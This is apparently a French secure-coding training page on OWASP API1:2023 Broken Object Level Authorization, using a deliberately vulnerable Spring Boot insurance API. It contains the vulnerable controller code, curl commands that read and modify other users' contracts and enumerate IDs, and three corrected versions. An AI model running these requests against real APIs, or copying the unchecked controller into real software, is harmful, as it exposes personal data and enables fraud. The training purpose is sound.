AppSec|Formation Développement Sécurisé
← Retour aux cas
06
API1:2023

Broken Object Level Authorization

Java 17 · Spring Boot · Spring Security

Accès aux ressources d'un autre assuré en modifiant l'ID dans la requête API. Authentification présente, autorisation objet absente.

Cas n°6 — API1:2023 Broken Object Level Authorization (BOLA)

ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=06
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=06 -e variant=secure

Référence OWASP

démos vidéo

Etape Démo
Application vulnérable, déploiement 06_vulnerable_01_deploy.mp4
Application vulnérable, exploit 06_vulnerable_01_demo.mp4
Application sécurisée, déploiement 06_secure_01_deploy.mp4
Application sécurisée, 403 06_secure_01_demo.mp4

Contexte métier

L'API REST de gestion des contrats d'assurance Assuria expose les endpoints suivants :

Méthode Endpoint Description
POST /api/auth/login Authentification, retourne un token JWT
GET /api/contrats Liste des contrats de l'utilisateur connecté
GET /api/contrats/{id} Détail d'un contrat par ID
GET /api/contrats/{id}/documents Documents attachés au contrat
PUT /api/contrats/{id} Modifier un contrat

Données de test

Utilisateur Login Mot de passe Contrats
Jean Dupont jdupont password1 #1 Habitation (12 rue de la Paix), #2 Auto (AB-123-CD)
Marie Martin mmartin password2 #3 Habitation (Lyon), #4 Santé (N° Sécu)
Administrateur admin admin123

La faille expliquée

Authentification ≠ Autorisation

La version vulnérable vérifie correctement que l'utilisateur est authentifié (token JWT valide), mais ne vérifie pas qu'il est autorisé à accéder à la ressource spécifique demandée.

Requête : GET /api/contrats/4
Token  : JWT valide de jdupont ✓  ← authentification OK
Question manquante : le contrat #4 appartient-il à jdupont ? ✗  ← autorisation absente

Le code vulnérable

// VULNERABLE — ContratController.java
@GetMapping("/{id}")
public ResponseEntity<Contrat> getContrat(@PathVariable Long id) {
    Contrat contrat = contratRepository.findById(id)
            .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));
    // FAILLE : on retourne le contrat sans vérifier
    // que contrat.getUserId() == utilisateur connecté
    return ResponseEntity.ok(contrat);
}

L'ID du contrat est auto-incrémenté (1, 2, 3, 4...), ce qui facilite encore davantage l'énumération.


Exploitation — Scénario pas-à-pas

Lancer la version vulnérable

cd vulnerable/
mvn spring-boot:run

Étape 1 — Authentification

TOKEN_A=$(curl -s -X POST https://appsec.cc/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"login":"jdupont","password":"password1"}' | jq -r '.token')

echo "Token de jdupont : $TOKEN_A"

Étape 2 — Accès normal (légitime)

# Mes contrats : IDs 1 et 2 (jdupont)
curl -s -H "Authorization: Bearer $TOKEN_A" https://appsec.cc/api/contrats | jq

# Mon contrat habitation → 200 OK, données légitimes
curl -s -H "Authorization: Bearer $TOKEN_A" https://appsec.cc/api/contrats/1 | jq

Étape 3 — Exploitation BOLA

# Accès au contrat de Marie Martin (id=3) avec le token de jdupont
curl -s -H "Authorization: Bearer $TOKEN_A" https://appsec.cc/api/contrats/3 | jq
# → 200 OK ! Adresse domicile de mmartin exposée

# Accès au contrat santé (id=4) → numéro de sécurité sociale exposé
curl -s -H "Authorization: Bearer $TOKEN_A" https://appsec.cc/api/contrats/4 | jq

# Énumération : tester les IDs de 1 à 10
for i in $(seq 1 10); do
  curl -s -o /dev/null -w "contrat/$i → HTTP %{http_code}\n" \
    -H "Authorization: Bearer $TOKEN_A" https://appsec.cc/api/contrats/$i
done

# Modification du contrat d'un autre assuré
curl -s -X PUT -H "Authorization: Bearer $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"type":"MODIFIE_PAR_ATTAQUANT"}' \
  https://appsec.cc/api/contrats/3 | jq

Script automatisé

# Linux/Mac
chmod +x exploit/bola-exploit.sh
./exploit/bola-exploit.sh

# Windows
exploit\bola-exploit.bat

Impact

Données exposées Risque
Adresse domicile (contrats #1, #3) Atteinte à la vie privée, RGPD
Immatriculation véhicule (contrat #2) Fraude, usurpation d'identité
Numéro de sécurité sociale (contrat #4) Fraude à l'identité, violation RGPD critique
Modification d'un contrat tiers Fraude à l'assurance

Correctif — Version sécurisée

Lancer la version sécurisée

cd secure/
mvn spring-boot:run

Relancer le script d'exploitation : toutes les tentatives BOLA retournent désormais HTTP 403 Forbidden.

Principe du correctif

La solution repose sur le filtrage au niveau SQL : on ne récupère le contrat que s'il correspond à la fois à l'ID demandé ET à l'utilisateur connecté.

Option 1 — Filtrage au niveau du repository (approche retenue)

// ContratRepository.java
public interface ContratRepository extends JpaRepository<Contrat, Long> {
    // Spring Data génère : SELECT * FROM contrats WHERE id = ? AND user_id = ?
    Optional<Contrat> findByIdAndUserId(Long id, Long userId);
}
// ContratService.java
public Contrat getContrat(Long id, Long currentUserId) {
    return contratRepository.findByIdAndUserId(id, currentUserId)
            .orElseThrow(() -> new ResponseStatusException(
                    HttpStatus.FORBIDDEN,
                    "Accès refusé : vous n'êtes pas autorisé à accéder à ce contrat"));
}
// ContratController.java — le contrôleur passe l'userId courant au service
@GetMapping("/{id}")
public ResponseEntity<Contrat> getContrat(@PathVariable Long id, Authentication auth) {
    User user = (User) auth.getPrincipal();
    return ResponseEntity.ok(contratService.getContrat(id, user.getId()));
}

Option 2 — Vérification dans le service

public Contrat getContrat(Long id, Long currentUserId) {
    Contrat contrat = contratRepository.findById(id)
            .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));

    if (!contrat.getUserId().equals(currentUserId)) {
        throw new ResponseStatusException(HttpStatus.FORBIDDEN,
                "Accès refusé : vous n'êtes pas autorisé à accéder à ce contrat");
    }
    return contrat;
}

Note : L'option 2 expose un oracle : un attaquant peut distinguer "contrat inexistant" (404) de "contrat existant mais interdit" (403), confirmant l'existence de l'ID. L'option 1 renvoie systématiquement 403 dans les deux cas.

Option 3 — Annotation @PreAuthorize Spring Security

// SecurityConfig.java — activer @EnableMethodSecurity
@Configuration
@EnableMethodSecurity
public class SecurityConfig { ... }

// ContratSecurity.java — composant de vérification
@Component("contratSecurity")
public class ContratSecurity {
    public boolean isOwner(Long contratId, Authentication auth) {
        User user = (User) auth.getPrincipal();
        Contrat contrat = contratRepository.findById(contratId).orElse(null);
        return contrat != null && contrat.getUserId().equals(user.getId());
    }
}

// ContratController.java — déclaratif, lisible
@GetMapping("/{id}")
@PreAuthorize("@contratSecurity.isOwner(#id, authentication)")
public ResponseEntity<Contrat> getContrat(@PathVariable Long id) {
    return ResponseEntity.ok(contratRepository.findById(id).orElseThrow());
}

Points clés à retenir

  1. Authentification ≠ Autorisation : un token valide prouve l'identité, pas les droits sur chaque ressource.

  2. BOLA est la vulnérabilité API #1 car elle est triviale à exploiter (changer un entier dans l'URL) et très répandue.

  3. Toujours filtrer par propriétaire côté serveur — jamais côté client.

  4. Préférer le filtrage SQL (findByIdAndUserId) : plus sûr (une seule requête atomique) et plus performant qu'une vérification applicative post-fetch.

  5. Les IDs auto-incrémentés facilitent l'énumération : envisager des UUID v4 pour les ressources sensibles (UUID.randomUUID()).

  6. Ne pas différencier 404 et 403 sur les ressources privées : retourner systématiquement 403 pour ne pas confirmer l'existence d'une ressource.


Structure du projet

06-api-bola/
├── README.md
├── exploit/
│   ├── bola-exploit.sh          # Script Linux/Mac
│   └── bola-exploit.bat         # Script Windows
├── vulnerable/                  # Version sans contrôle de propriété
│   ├── pom.xml
│   └── src/main/java/cc/appsec/bola/
│       ├── Application.java
│       ├── DataInitializer.java
│       ├── config/SecurityConfig.java
│       ├── controller/
│       │   ├── AuthController.java
│       │   └── ContratController.java  ← FAILLE ICI
│       ├── dto/LoginRequest.java
│       ├── model/ (User, Contrat, Document)
│       ├── repository/ (sans findByIdAndUserId)
│       └── security/ (JwtUtil, JwtFilter)
└── secure/                      # Version avec contrôle de propriété
    ├── pom.xml
    └── src/main/java/cc/appsec/bola/
        ├── Application.java
        ├── DataInitializer.java
        ├── config/SecurityConfig.java  ← @EnableMethodSecurity
        ├── controller/
        │   ├── AuthController.java
        │   └── ContratController.java  ← passe userId au service
        ├── dto/LoginRequest.java
        ├── model/ (User, Contrat, Document)
        ├── repository/
        │   └── ContratRepository.java  ← findByIdAndUserId
        ├── service/
        │   └── ContratService.java     ← vérification propriétaire
        └── security/
            ├── JwtUtil.java
            ├── JwtFilter.java
            └── ContratSecurity.java    ← @PreAuthorize helper